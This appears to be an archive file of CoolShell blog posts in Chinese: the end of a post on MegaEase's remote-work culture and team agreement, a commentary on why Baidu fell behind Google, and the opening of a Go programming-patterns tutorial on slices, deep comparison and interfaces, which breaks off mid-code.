**一、努力找到好的人**\n\n\n**团队管理的头等大事是找人，没有之一。**很多人都会跟我说，你的这种远程团队需要很好的人。是的，没错，人很关键。远程团队需要的人的一般需要有这些特质：\n\n\n* **能独挡一面的人**。这样交给他的事能独立完成，没有路能自己找路，这样可以省很多管理成本。\n* **沟通能力很强的人**。一方面，他们把模糊的事能变清楚，另一方面，他能有效地说服他人。不然就会非常扯皮和消耗时间。\n* **能自管理和自驱动**。不能自管理和自驱的人，会增加大量的管理和教育成本。能自驱动的人，都是对负责的事情有认同的人。\n\n\n如果你仔细思考一下，**你会发现，这样的人是任何一家公司所渴望的人，和远不远程无关**。只不过，如果是远程团队的话，你会被逼着要招到这样的人。\n\n\n招到这样的人，你团队的执行力会非常的强悍。招不到这样的人，你只能为他们不能自管理和自驱而招“经理”，不能写出好的代码而招“测试”，不能很好的沟通而招个“项目经理”，不能独档一面，而要把好的人安排给他们当“教练”，而好的人则会被累死……\n\n\n这个时候，**你就需要计算一下了，是花时间精力在教育不好的人，还是花时间精力找好的人？无论远不远程，聪明的管理者都会选择后者**。这也就是为什么Amazon的Bezos会说，“我宁愿面50个人一个人都招不到，我也不愿意降低我的面试标准”。\n\n\n##### **二、设定共同的目标和使命**\n\n\n对于远程团队来说因为见不到面，所以，缺乏交流和沟通。所以，需要团队里所有人能在同一篇上，能够对要做的事有一个统一标准的认识。也就是共同的目标和使命的认知。知道要要什么，不要什么。知道取舍，知道trade-off。这些东西都是需要团队一起达成的共识。如果没有这样的“Same Picture”的目标和使命，就会出现很多不必要的误解和冲突。另外，因为团队和业务也在迅速发展中，所以，也需要不断地调整和沟通。这都需要领导者花费时间统一目标和使命。\n\n\n老实说，无论远程不远程，一个团队也是需要有共同的目标和使命的。没有共同的目标，就算是集中在一起办公，也一样没有效率的。\n\n\n##### **三、倾向使用小团队**\n\n\n因为沟通成本的问题，远程团队更为倾向使用小团队，但并不是说小团队会限制整个公司的规模。《人月神话》说过，只有小团队才能驾驭复杂的系统。Amazon 的 Two Pizza Team的文化（团队的大小只能到两张披萨就能喂饱的大小），就是把整个系统拆成“微服务”架构，这样可以导致整体效率的巨大提升。表现在，可以并行开发，专注于一个功能更利于解决复杂问题，简单可以更容易的运维，可以更容易的规模化……\n\n\n我工作的这20多年来经历过很多公司，尤其是创业的这几年来，看过的公司更多了（50+以上了），我发现，人数越多的团队，基本上来说，就更偏劳动密集型。劳动密集型的一个特征就是，**大家整天在想，得整点什么事给这么多人，好让他们忙起来。而人数少的团队，因为人不够，所以每天都在想，什么样的事更重要，什么样的事可以自动化，怎么做更有效率……**小团队和大团队的关注点就这么不一样了，所以做出来的事也就不一样了……\n\n\n当然，并不是说劳动密集型有什么问题，就像《[软件团队的两种管理方式](https://coolshell.cn/articles/4951.html)》一文所说的一样，远程团队工作更倾向于“电影工作组”式的每个人都是leader的知识密集型的团队。\n\n\n#### 微观实践\n\n\n在远程工作中，我们需要有很多的微观操作来让大家能够更好的进行远程工作。因为远程工作也有一些问题（但是方法总比问题多，不是吗？）\n\n\n* **文档驱动**。首先，远程的问题就是沟通不方便了，集中化的办公一群人可以在白板上进行讨论，然后远程工作这个事就变成很复杂了。所以，当要讨论什么事的时候，需要发起人先写一个文档，然后大家在这个文档上进行讨论（我们通常使用Github的issue，Pull Request或Google Doc）。另外，写文档的好处太多了，除了给后人有一个可以追溯的东西，更重要的是，写作是一种深度思考，当你把你脑子里想的东西写下来的时候，你就会发现你的思考更多了。所以，文档驱动我们团队能力非常重要的事。\n\n\n* **自动化和简化**。自动化和简化是我平时追得最多的东西了，从软件的Unit Test, Functional Test, Performance Test 一直到用Kubernetes进行自动化部署，我要求的就是从一提交完代码后就自动化的上线。我们玩的是Amazon的“单分支”代码管理的玩法，一旦代码merge上master，就会直接上线（当然需要通过灰度）。因为远程团队如果没有自动化的工具，那么，就会导致整体效率的下降。\n\n\n* **Owner文化**。这个太重要的了，但是，这并不是在说，如果一个事没有owner，就会像“三个和尚”那样，事情就进了没人管的地步。这是因为很多人在工作中都是比较 nice 的，比较 nice 的人通常来说都不好意思跳出来对别人发号施令。所以，Owner 文化就是要求每件事都要定义一个Owner，而这个Owner是有权对其它人发号施令的，其他人也有义务要配合他。当然，Owner 的权利越大，责任也会越大！\n\n\n* **Review文化**。Review文档是一种把知识或是想法传递出去的方式。我们在实践过程中，需要大家把好的想法写下来，这需要包括问题背景、目标、可选的方案（这些方案需要有引用和数据，不能是拍脑袋）、还需要有Pros/Cons的比较。然后再发起讨论。这样，事情在一开始就做好，那么就可以让大家的讨论更加地有效率。**很多人以为开会讨论有个议题就行了，其实不够，有效率的开会讨论需要的是议案，而且还是高质量的议案！**\n\n\n* **目标承诺**。我们需要每个人承诺自己的工作目标，这个完全由每个个体来发起、完成。一般来说，每个人自己给自己制定的计划最好是在1-2周内。\n\n\n* **自我管理**。我们的实践是没有审批制度，无论是，休假、报销、出差，完全是自己自由安排，但需要告诉团队（除非在一些关键时期没法休长假，需要整个团队全力以赴），但千万不要撒谎和作弊，一旦发现，直接开除就好了。这个是基于好人更多的原则制定的（没有必要为了少数的坏人一刀切后让所有人痛苦）\n\n\n* **闲聊和自行见面**。见面和不能见面是一件非常不一样的事，在一起工作时，人和人是会有感情的，因为会有闲聊。远程的时候，则只有工作了。所以，我们鼓励团队人员间的私聊，闲聊，互相对方讲讲自己的经历和过往，同时，也鼓励员工自行出差到对方的城市见见跟你一起工作的人，公司报销差旅费。\n\n\n* **知识分享会**。我们每周都有知识分享会，一次只讲半个小时，不贪多，就讲一个小的知识点。然后，团队中的一些人还主动使用Google Form来收集分享的反馈信息。\n\n\n* **就地奖励文化**。我们默认上是没有年终奖，只有就地奖励文化。也就是说，你做的事挣钱了，利润中有70%公司拿走，剩下的30%团队的人就地分掉。这样会让团队里的每个人都会想怎么挣钱，除了可以把精力放到那些能够让用户付费的地方上，更重要的是让团队成员了解一下业务和用户为什么要付费，这个是非常关键的。当然，如果公司没有挣钱，但是员工工作的不错，我们还是会给年终奖的。不挣钱的主要责任是我的，而挣钱的主要功劳是团队的。\n\n\n* **外包支持性的工作**。一些支持性的工作尽可能地使用外包，比如：HR、行政、发工资财务、员工持股、测试人员、定制化开发……这样可以让你的团队更小，更高内聚。更利于远程。\n\n\n* **异步编程**。如果一个项目是从零开始的，对于一个团队来说可能会是无从下手的，这需要有个人（owner）把代码的框架和结构给组织好。然后其他的人进入把坑填了，这样的效率会高很多。另外，不见面的结对编程，完全可以使用异步的方式进行，这其实就是多人干同一个pull request的方式。有Github这样的协议工作，远程编码变得很方便。\n\n\n关于我们的远程工具，我们主要是使用：\n\n\n* **开发环境**\n\t+ **AWS**，我们主要使用AWS，因为我希望团队在使用AWS的时候能够被潜移默化。\n* **协作工具**\n\t+ **Github**。我们所有跟软件开发的工作都会在Github上，我们重度使用 Github 的 pull request 和 issue，也会使用 Github Project 里的看板和 Wiki。\n\t+ **Google全家桶**。我们重度使用 Google，Google Group、Google Driver、Google Docs 主要是一些各式各样的文档。\n* **通讯工具**\n\t+ **语音沟通**。主要是使用Zoom，因为Zoom不但可以支持几十人在线，还可以云录制。如果小范围交流的话，一般使用微信语音。\n\t+ **工作沟通**。主要是使用Slack，Slack作为一个信息集散地，可以分频道，可以分thread讨论，微信注是个渣。\n\t+ **吹水群**。我司的吹水群主要是Telegram，因为比微信好太多了……\n\n\n你会发现，我们的工具有好些都是在墙外的，是的，因为墙内的同类的工作实在是太难用了，没办法不用。而且，**我倾向于让大家用上最先进的工具，这样我们团队中的每个人的品味才会被这些好的工具潜移默化**。\n\n\n#### 远程工作协议\n\n\n下面是我们的远程工作协议（无删减），这是每一个远程工作人员需要同意并做到的协议（其中有 Amazon Leadership Principles 的影子），目前在 v1.3 版，未来还会更新，我现在把它晒出来，也希望得到更好的建议！\n\n\n \n\n\nMegaEase 远程工作团队协作协议 v1.3\n========================\n\n\nPrinciples\n----------\n\n\n### 0）Ownership & Leadership\n\n\n每个人都是Owner，都是Leader， 如果看到团队或是项目有问题的时候，不要等，也不忍，请马上说出来，并给出相应的方案， **自己跳出来召集开会，及时调整。不要闷在那里，自己憋！**\n\n\n### 1）Initiative\n\n\n每人个都必需是主动的，都需要自己发起要做的事，或是自己要认领要做的事，如果发现自己没有事情了， **需要学会主动发现问题，主动找到可以improve的地方，创新来源于此**。没有路要学会自己造路！\n\n\n### 2）Objectives Oriented\n\n\n每个人都是产品经理，也都是项目经理，每个人都必需把自己的工作和我们大的目标连接在一起，知道什么是重点，重点的东西就是两件事：一）从用户的角度出发，二）从产品的角度出发。 **这意味着我们要随时观察整个产品的样子，而不只是自己这一块东西** 。\n\n\n### 3）Insists on High Standard\n\n\n举法其上，得乎其中，举法其中，得乎其下，举法其下，法不得也。我们要坚持用高的标准要求自己，对于高标准的目标不妥协，但是在实施路径和策略上可以妥协。\n\n\nPractices\n---------\n\n\n### 0）Online\n\n\n工作的时候必需在线。如果不在线了，需要说一下不在线的时长, 目前我们工作的事宜在通讯工具采用Slack， 如果需要请假的情况，如果不是紧急情况，需要**提前一天** 在MegaEase的Slack *#random* 频道中提前说明。如果是紧急情况，也需要提前在*random*频道中告知大家。\n\n\n### 1) Documentation Driven\n\n\n面对面交谈、电话语音、微信、Slack虽然是比较实时的反馈工具，但是只有文档是可以把重要信息给结构化的，而且写文档其实是比起前面的方式来说是更为深度的思考，因为会让你自己审视自己的想法。所以，对于一些重要 “**功能**”、“**流程**”、“**业务逻辑**” 、“**设计**”、“**问题**”，以及“**想法**”，最好都以文档化的方式进行。请使用Github的 wiki、project、issue这些工具或是使用Google Doc.\n\n\n### 2）Design Review\n\n\n对于一些重要的问题或是工作（每个人都能够判断什么是关键问题和工作）， **需要先把自己的想法share出来，而不是先实现** 。\n\n\n一个好的 Design 文档需要包括如下项：\n\n\n* **Background**。交待这个事的背景、需求和要解决问题。\n* **Objectives**。说明这个事的目标和意义。\n* **Alternative Solutions**。 给出多个解决方案，并能够进行 Pros/Cons 对比。\n\t+ **Reference**。方案需要有权威引用支持。\n\t+ **Data**。方案需要有相关数据数据支持。\n* **Conclusion**。结论是什么。\n\n\n### 3) Simplification & Automation\n\n\n简化和自动化是软件工程所追求的两大目标，简化不是简陋，简化是对事物一种抽象和归纳能力，其能够提升软件的复用能力和扩展性，自动化是工程能力的重要体现，一方面，远程工作中自动化的能力可以让整个团队更高效地协作，另一方面，自动化是规模化的提条件。所以，我们要无时无刻地思考如何简化和自动化现有的事情。\n\n\n### 4）Review & Re-factory\n\n\n无论是代码还是工作都是需要反思和重构的。反思是进步的源泉，项目告一段落时，出现问题时，都应该召集团队做集体反思，把好的东西坚持下去，把不好的东西优化掉。这样才能进步和改进。但是任何的优化措施是可执行的。\n\n\n### 5）Milestone Commitment\n\n\n对于一个项目，每个人都需要有自己的 milestone 计划， **这个计划最好是在2周以内，1周内是最好的。而且要承诺到** 。\n\n\n### 6）Evidence Driven\n\n\n任何讨论和分析都要基于权威的证据、数据或是引用。在我们做设计的时候，或是有争论的时候，说服对方最好的方式就是拿出证据、数据或是权威引用。比如：我的XX设计参考了TCP协议中的XX设计，我的XX观点是基于XX开源软件的实现……如果争论不休就停止争论，然后各自收集和调查自己观点的佐证。\n\n\n### 7）Demo Day\n\n\n把自己做的东西跟团队做一次实时的演示。这样有助于开发人员从产品角度思考自己的工作。除了演示产品功能，还可以演示算法，设计，甚至代码。\n\n\n### 8) Effective Meeting\n\n\n会议主要处理三件事：提出议案、发现问题、共识结论。\n\n\n* 会议不仅仅要有议题，最好还有议案。\n* 会议期间不解决问题，只发现问题，和跟踪问题。\n* 会议必需要有共识和结论，如果不能达到共识和结论，那就当成问题处理，由问题的负责人跟进问题。\n\n\n关于周会或是临时性的团队会议（私下讨论不属于会议），会议组织者需要在事前收集会议议题，其中包括如下分类：\n\n\n* **项目类**：需要事先有项目进度计划表（任何分项最好控制在1-2人周内）\n* **方案类**：需要事先写好相关的方案和设计才能讨论（参看 Design Review 章节）\n* **问题类**：需要事先写好相关的问题和解决提案（参看 Design Review 章节）\n* **决策类**：需要事先写好整事的前因后果以及利弊分析\n* **信息类**：需要事先写好相关的事宜说明\n\n\n组织者需要在周五的时候发出会议议题收集，其中包括：\n\n\n* 自己知道的项目的进度跟进（需要相相关的项目负责人准备相关的项目计划）\n* 方案和问题类的需要各个项目负责人提出来，并有相关的设计文档可供Review\n* 信息类和决策类的事宜可以写在Google Doc上，也可以写在 Team 的 Issue 里\n\n\n其它负责人可以在会议上加入自己团队的东西，或是要求其他团队提供更多的信息。\n\n\n### 9）1-2-3 Escalation\n\n\n遇到问题的时候，自己一个人处理1小时内没有思路，请找他人小范围讨论，如果与他人2小时内没有结果，请上升到团队范围，如果在团队范围3小时内没有思路，我们就需要借助外部力量了。\n\n\n### A）3PS Update\n\n\n每个人更新进度的时候，不要只是一个check-in，而是需要更 meaningful 的说一下工作内容，在工作告一段落的时候，希望简单的说一下工作总结。这里的practice是： **3PS – Plan，Proirity，Problem，Summary， – 你的计划是什么？优先级是什么？遇到了什么问题？当前的工作摘要** 。\n\n\n### B) Disagree and Commitment\n\n\n在我们开发的时候，团队的成员都会有自己风格，必然会对同一个问题产生较大的争议（Disagree），我们鼓励有争议，但是是在团队的决议作出之前。一旦团队形成决议，团队的成员就必须支持这个决议，并在这个方向上做出贡献。\n\n\n但是关于决议的形成过程肯定充斥着各种的争论，对于这些争论，我们可以按照下面的Guidline 来处理争议：\n\n\n* Owner要负责对重大的讨论推进，尽快形成结论。\n* 在决议过程中，要有纪要，要更新到 Github 相关项目的 Issue 或 Pull Request 里，并且要让整个团队知道，信息平等很重要。\n* 不要妥协，坚持高的标准。第一标准是工业标准，第二标准是国外的大公司标准（如：google, fb, github, aws…），第三标准才是国内的标准。\n* 那怕再复杂，只要是标准，就可以说服用户。用户再无理，也不可能反对工业级的标准。\n* Release出去的东西，只要被用户用上了，要改就难了，所以要谨慎而果敢。\n\n\n#### 小结\n\n\n远程工作并不是目的，但是远程工作会逼迫管理者面对管理的本质问题。远程工作趋向于找到优秀自驱的人才，守护团队的共同目标，并打造精悍高能的团队，并要求我们在需要沟通和协作的地方使用更为科学和有效的手段，在各个环节中提升工作效率，降低组织内耗……你的团队管理模型是否最优，在远程工作下就会一览无余！远程工作只是一个手段，提升管理水平才是真正的目的！\n\n\n（全文完）\n\n\n\n\n\n\n\n\n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![加班与效率](../wp-content/uploads/2013/07/Work-Overtime-150x150.jpg)](https://coolshell.cn/articles/10217.html)[加班与效率](https://coolshell.cn/articles/10217.html)\n* [![《Rework》摘录及感想](../wp-content/uploads/2013/03/rework-150x150.jpg)](https://coolshell.cn/articles/9156.html)[《Rework》摘录及感想](https://coolshell.cn/articles/9156.html)\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\nThe post [MegaEase的远程工作文化](https://coolshell.cn/articles/20765.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2020-12-16 百度为什么掉队了.md",
    "content": "---\nlayout: post\ntitle: 百度为什么掉队了\ndate: 2020/12/16/ 10:46:17\nupdated: 2020/12/16/ 10:46:17\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2020/12/baidu-300x169.jpg)今天早上看到一篇文章《[百度不要用户](https://new.qq.com/omn/20201215/20201215A06XMN00.html)》这篇文章里的大意是：百度错过了移动互联网，等反应过来的时候，在2013年猛收购了一些公司来追赶对手或是时代，但都不成功，然后又开始后过来走到技术，大力发展AI，可惜，AI又是一个不是很成熟的事，需要没有上限的投入，而且在短期内看不到盈利的事，然而整个KPI又设计在了盈利上，最后导致内部内耗严重，人才和管理层流失，最终离用户越来越远。\n\n\n文章中有一个段落的标题是【做决策的是技术】，其中有话是这样的——\n\n\n\n> 在“重技术、轻运营”的百度，产品的主导权和优先权在技术手里，产品和运营的立项话语权相对轻很多。如果是在 PC 时代，这无可厚非，但在移动互联网时代，这就有很大的问题。\n> \n> \n\n\n这就是中国这个社会的价值观了，整个社会价值观从本质上来说是不待见技术的——**平时都说技术不重要，但是当有问题出现的的时候，他们都会把问题都推到技术上**。\n\n\n虽然我同意这篇文章中大多数观点，但是我对“做决策的是技术造成了问题”有很大的不同意，并不是我是技术人员，我只会站在我的角度上思考问题，而且，这个结论就是错的。\n\n\n\n要证明这个事，我们就需要找一个反例，这个反例就是Google。其实，文章中所有的因为移动互联网出现而对传统互联网造成挑战的问题，Google其实都遇到了，然而，Google却走了一条完全与百度不一样的路。\n\n\n当时，Facebook如日中天的时候，Google也有很多人才流失到了Facebook，而Google的所有产品线都受到了来自移动互联网的挑战，人们不再打开电脑了，而且把时间全部放在了手机上，于是，Google的搜索也变得麻烦了，就算Google也做了一个搜索的App，也没人用过。Google还做了Google Plus的社交产品，最终也是以失败告终。除此之外，还有众多的Google产品都在移动互联网下玩完，比如：Google Talk/Hangouts, Google Wave，Google Buzz，Google Reader……还有电商网站Google Checkout, Google Offers……如果你要看Google死掉的产品你可以看一下这个网页 – [Killed By Google](https://killedbygoogle.com/) ，一共200多个产品，有好多你都没有听说过。\n\n\n另外一方面，Google和百度一样，在云计算方面都没有跟上时代。百度的李彦宏，2010年03月28日，在中国IT领袖峰会上说，“云计算不客气一点讲是新瓶装旧酒，没有新东西”，可见出了战略上的错误。而Google则是云计算的倡导者，Google在云计算上的技术造诣绝对不会比任何一家公司差，但是Google走了一条很曲高和寡的路——Google App Engine，直接跨过IaaS上到PaaS，最终错失市场，现在整合进Google Cloud Platform，提供一整套的多种形式的云服务，尤其是其AI、大数据和数据中心的运营能力，才挽回一点面子，但还是被AWS和Azure抛在后面。而百度那边呢，百度的“百度云”做成了“百度网盘”……\n\n\n可以看见，在过去10年，Google还是比较危险的，同样和是搜索引擎起家的百度所面临的风险和危机是一样的——流量入口开始发生转移，导致技术架构和方案也跟着一起转变。但是，今天的Google依然很成功，也是一个破万亿市值的公司，为什么呢？是不是因为Google那边是运营和产品说了算呢？显然不是，如果是那样，Google今天的结局可能和百度也会很类似。\n\n\nGoogle 牛逼的原因有很多，我想在这里重点说几个跟开源有关的产品，让大家感受一下Google是怎么在落后的地方力挽狂澜的，这实在让人细思极恐：\n\n\n* **Chrome浏览器**。Google面对的竞争对手是微软的IE，这个用户入口如果失去了，Google的收入至少少一半（注：今天的天天在做慈善的Bill Gates，当年在浏览器市场上用操作系统垄断的方式把网景和Java都干得痛不欲生，最终引发反垄断诉讼才变得开放一点）。所以，为了要从当时占市场份额98%以上的IE抢市场，开源是一个非常好的策略（当时，还有用户体验，安全性和性能等其它因素）。\n\n\n* **Android 操作系统**。Android 操作系统本质上是为了对抗 Apple和Microsoft，这两个公司在操作系统上耕耘多年，而未来的手机入口成为必争之地，如果Google错失了这个阵地，那么，Google的业务量会受到巨大的影响。所以，Google必需争夺，而且还必需用开源来搞。试想，如果Google的Android不开源的话，今天的智能手机市场很有可能是Apple和Micorsoft/Nokia唱主角了。正因为开源了Android，所以可以让更多的人和企业以Android的方式参与进来，从而对Apple和Microsoft形成真正的对抗。\n\n\n* **Kubernetes & CNCF**。很明显，Kubernetes和后来的CNCF把云计算提升到了另一个层次——不再以资源虚拟化的云设施，而是以应用/服务/API调度为主的云计算。这个真的很猛，其目的主要也是要用一个新的云计算的形式来遏制AWS和Azure的发展，想通过Cloud Native的方式把云计算的游戏规则改变，从而让GCP更好用，另外，其也是开源的，并成立了了开源基金会，似乎是在告诉大众，无产阶级联合起来，对抗巨头。如果Kubernetes像Google的的论文不开源的话，估计也会错失当时竞争异常激烈的容器调度市场。\n\n\n开源并不是Google的核心文化，Google有太多的好的东西，他都不开源，Google做死的产品几百个，但宁可放到垃圾桶里，他们也不会开源出来。所以，**Google的开源，其本质上来说，还是为其商业逻辑服务的——为了抢夺别人的市场，为了后来者居上**。\n\n\n当然，Google比百度成功的原因还不仅上面这些，上面这些只是想让大家看到Google的思路。这些思路，很明显都是技术的思路，不是运营的思路。Google虽然有技术，但也不是在所有的技术上都有优势，看看人家是怎么在自己并没有优势的地方抢市场的玩法，可能会对理解百度为什么掉队了会有更准确的帮助。\n\n\n最后，Wikipedia上有几个和Google有关清单，可以看看。\n\n\n* [Google 并购公司的清单](https://en.wikipedia.org/wiki/List_of_mergers_and_acquisitions_by_Alphabet) – Google 的并了购了240多家公司。\n* [Google 的产品清单](https://en.wikipedia.org/wiki/List_of_Google_products) – Google 的产品簇简直就是一个大杂烩 。\n* [Google 的APP清单](https://en.wikipedia.org/wiki/List_of_Android_apps_by_Google) – 看看Google的APP全家桶，数百个应用。\n\n\n看完这些清单，你可能会感觉到，Google 这厮也是什么都在干，所以，死的也很多。但这种大规模试错的产能，并不是任何一个公司都有的。百度和Google的员工数量我在网上找了一下，只能看到2018年的数据，2018年百度有45000人，Google有98000人。人数少了一半，但是产能少了可不只一半。\n\n\n另外，你再仔细看一下上面的清单，你会看得出来，Google做的这些产品和方向都有一种浓浓的技术味……而且，你会觉得，在技术上折腾，就算是失败了，也能让人感觉得到这家公司和团队不会差……\n\n\n与《百度不要用户》这篇文章中所说的，百度的问题是“技术人员话语太强”，我觉得百度的问题是，不再做技术了……而公司出现了混乱的思维方式，无论是不是技术人员，谁都不会思考和做决定了……\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![HTML5 logo 发布](../wp-content/uploads/2011/01/html5-logo-1-150x150.jpg)](https://coolshell.cn/articles/3561.html)[HTML5 logo 发布](https://coolshell.cn/articles/3561.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5202.html)[对象的消息模型](https://coolshell.cn/articles/5202.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/16910.html)[Linus：为何对象引用计数必须是原子的](https://coolshell.cn/articles/16910.html)\n* [![Eclipse和Vim快捷键桌面](../wp-content/uploads/2010/10/EclipseCanoo1440x900-150x150.png)](https://coolshell.cn/articles/3181.html)[Eclipse和Vim快捷键桌面](https://coolshell.cn/articles/3181.html)\n* [![操作系统图形界面发展史(1981-2009)](../wp-content/uploads/2009/03/19-windows-3-150x150.gif)](https://coolshell.cn/articles/105.html)[操作系统图形界面发展史(1981-2009)](https://coolshell.cn/articles/105.html)\n* [![Richard Feynman, 挑战者号, 软件工程](../wp-content/uploads/2009/11/250px-ChallengerCrew-150x150.jpg)](https://coolshell.cn/articles/1654.html)[Richard Feynman, 挑战者号, 软件工程](https://coolshell.cn/articles/1654.html)\nThe post [百度为什么掉队了](https://coolshell.cn/articles/21113.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2020-12-18 Go编程模式：切片，接口，时间和性能.md",
    "content": "---\nlayout: post\ntitle: Go编程模式：切片，接口，时间和性能\ndate: 2020/12/18/ 7:36:30\nupdated: 2020/12/18/ 7:36:30\nstatus: publish\npublished: true\ntype: post\n---\n\n![](../wp-content/uploads/2020/12/go.slices-300x169.png)\n\n\n在本篇文章中，我会对Go语言编程模式的一些基本技术和要点，这样可以让你更容易掌握Go语言编程。其中，主要包括，数组切片的一些小坑，还有接口编程，以及时间和程序运行性能相关的话题。\n\n\n### 本文是全系列中第1 / 10篇：[Go编程模式](https://coolshell.cn/articles/series/go%e7%bc%96%e7%a8%8b%e6%a8%a1%e5%bc%8f)\n\n* Go编程模式：切片，接口，时间和性能\n* [Go 编程模式：错误处理](https://coolshell.cn/articles/21140.html)\n* [Go 编程模式：Functional Options](https://coolshell.cn/articles/21146.html)\n* [Go编程模式：委托和反转控制](https://coolshell.cn/articles/21214.html)\n* [Go编程模式：Map-Reduce](https://coolshell.cn/articles/21164.html)\n* [Go 编程模式：Go Generation](https://coolshell.cn/articles/21179.html)\n* [Go编程模式：修饰器](https://coolshell.cn/articles/17929.html)\n* [Go编程模式：Pipeline](https://coolshell.cn/articles/21228.html)\n* [Go 编程模式：k8s Visitor 模式](https://coolshell.cn/articles/21263.html)\n* [Go编程模式 ： 泛型编程](https://coolshell.cn/articles/21615.html)\n\n[下一篇文章](https://coolshell.cn/articles/21140.html \"Go 编程模式：错误处理\") »\n#### Slice\n\n\n首先，我们先来讨论一下Slice，中文翻译叫“切片”，这个东西在Go语言中不是数组，而是一个结构体，其定义如下：\n\n\n\n```\ntype slice struct {\n    array unsafe.Pointer //指向存放数据的数组指针\n    len   int            //长度有多大\n    cap   int            //容量有多大\n}\n```\n\n用图示来看，一个空的slice的表现如下：\n\n\n![](../wp-content/uploads/2020/12/slice1-300x190.png) 熟悉C/C++的同学一定会知道，在结构体里用数组指针的问题——数据会发生共享！下面我们来看一下slice的一些操作\n\n\n\n\n```\nfoo = make([]int, 5)\nfoo[3] = 42\nfoo[4] = 100\n\nbar  := foo[1:4]\nbar[1] = 99\n```\n\n对于上面这段代码。\n\n\n* 首先先创建一个foo的slice，其中的长度和容量都是5\n* 然后开始对foo所指向的数组中的索引为3和4的元素进行赋值\n* 然后，对foo做切片后赋值给bar，再修改bar[1]\n\n\n![](../wp-content/uploads/2020/12/slice2.png)\n\n\n通过上图我们可以看到，因为foo和bar的内存是共享的，所以，foo和bar的对数组内容的修改都会影响到对方。\n\n\n接下来，我们再来看一个数据操作 `append()` 的示例\n\n\n\n```\na := make([]int, 32)\nb := a[1:16]\na = append(a, 1)\na[2] = 42\n```\n\n上面这段代码中，把 `a[1:16]` 的切片赋给到了 `b` ，此时，`a` 和 `b` 的内存空间是共享的，然后，对 `a`做了一个 `append()`的操作，这个操作会让 `a` 重新分享内存，导致 `a` 和 `b` 不再共享，如下图所示：\n\n\n![](../wp-content/uploads/2020/12/go.slices.append-1024x513.png)\n\n\n从上图我们可以看以看到 `append()`操作让 `a` 的容量变成了64，而长度是33。这里，需要重点注意一下——**`append()`这个函数在 `cap` 不够用的时候就会重新分配内存以扩大容量，而如果够用的时候不不会重新分享内存！**\n\n\n我们再看来看一个例子：\n\n\n\n```\nfunc main() {\n    path := []byte(\"AAAA/BBBBBBBBB\")\n    sepIndex := bytes.IndexByte(path,'/’)\n\n    dir1 := path[:sepIndex]\n    dir2 := path[sepIndex+1:]\n\n    fmt.Println(\"dir1 =>\",string(dir1)) //prints: dir1 => AAAA\n    fmt.Println(\"dir2 =>\",string(dir2)) //prints: dir2 => BBBBBBBBB\n\n    dir1 = append(dir1,\"suffix\"...)\n\n    fmt.Println(\"dir1 =>\",string(dir1)) //prints: dir1 => AAAAsuffix\n    fmt.Println(\"dir2 =>\",string(dir2)) //prints: dir2 => uffixBBBB\n}\n```\n\n上面这个例子中，`dir1` 和 `dir2` 共享内存，虽然 `dir1` 有一个 `append()` 操作，但是因为 cap 足够，于是数据扩展到了`dir2` 的空间。下面是相关的图示（注意上图中 `dir1` 和 `dir2` 结构体中的 `cap` 和 `len` 的变化）\n\n\n![](../wp-content/uploads/2020/12/slice4-1024x740.png)\n\n\n如果要解决这个问题，我们只需要修改一行代码。\n\n\n\n```\ndir1 := path[:sepIndex]\n\n```\n\n修改为\n\n\n\n```\ndir1 := path[:sepIndex:sepIndex]\n\n```\n\n新的代码使用了 Full Slice Expression，其最后一个参数叫“Limited Capacity”，于是，后续的 `append()` 操作将会导致重新分配内存。\n\n\n#### 深度比较\n\n\n当我们复杂一个对象时，这个对象可以是内建数据类型，数组，结构体，map……我们在复制结构体的时候，当我们需要比较两个结构体中的数据是否相同时，我们需要使用深度比较，而不是只是简单地做浅度比较。这里需要使用到反射 `reflect.DeepEqual()` ，下面是几个示例\n\n\n\n```\nimport (\n    \"fmt\"\n    \"reflect\"\n)\n\nfunc main() {\n\n    v1 := data{}\n    v2 := data{}\n    fmt.Println(\"v1 == v2:\",reflect.DeepEqual(v1,v2))\n    //prints: v1 == v2: true\n\n    m1 := map[string]string{\"one\": \"a\",\"two\": \"b\"}\n    m2 := map[string]string{\"two\": \"b\", \"one\": \"a\"}\n    fmt.Println(\"m1 == m2:\",reflect.DeepEqual(m1, m2))\n    //prints: m1 == m2: true\n\n    s1 := []int{1, 2, 3}\n    s2 := []int{1, 2, 3}\n    fmt.Println(\"s1 == s2:\",reflect.DeepEqual(s1, s2))\n    //prints: s1 == s2: true\n}\n```\n\n#### 接口编程\n\n\n下面，我们来看段代码，其中是两个方法，它们都是要输出一个结构体，其中一个使用一个函数，另一个使用一个“成员函数”。\n\n\n\n```\nfunc PrintPerson(p *Person) {\n    fmt.Printf(\"Name=%s, Sexual=%s, Age=%d\\n\",\n  p.Name, p.Sexual, p.Age)\n}\n\nfunc (p *Person) Print() {\n    fmt.Printf(\"Name=%s, Sexual=%s, Age=%d\\n\",\n  p.Name, p.Sexual, p.Age)\n}\n\nfunc main() {\n    var p = Person{\n        Name: \"Hao 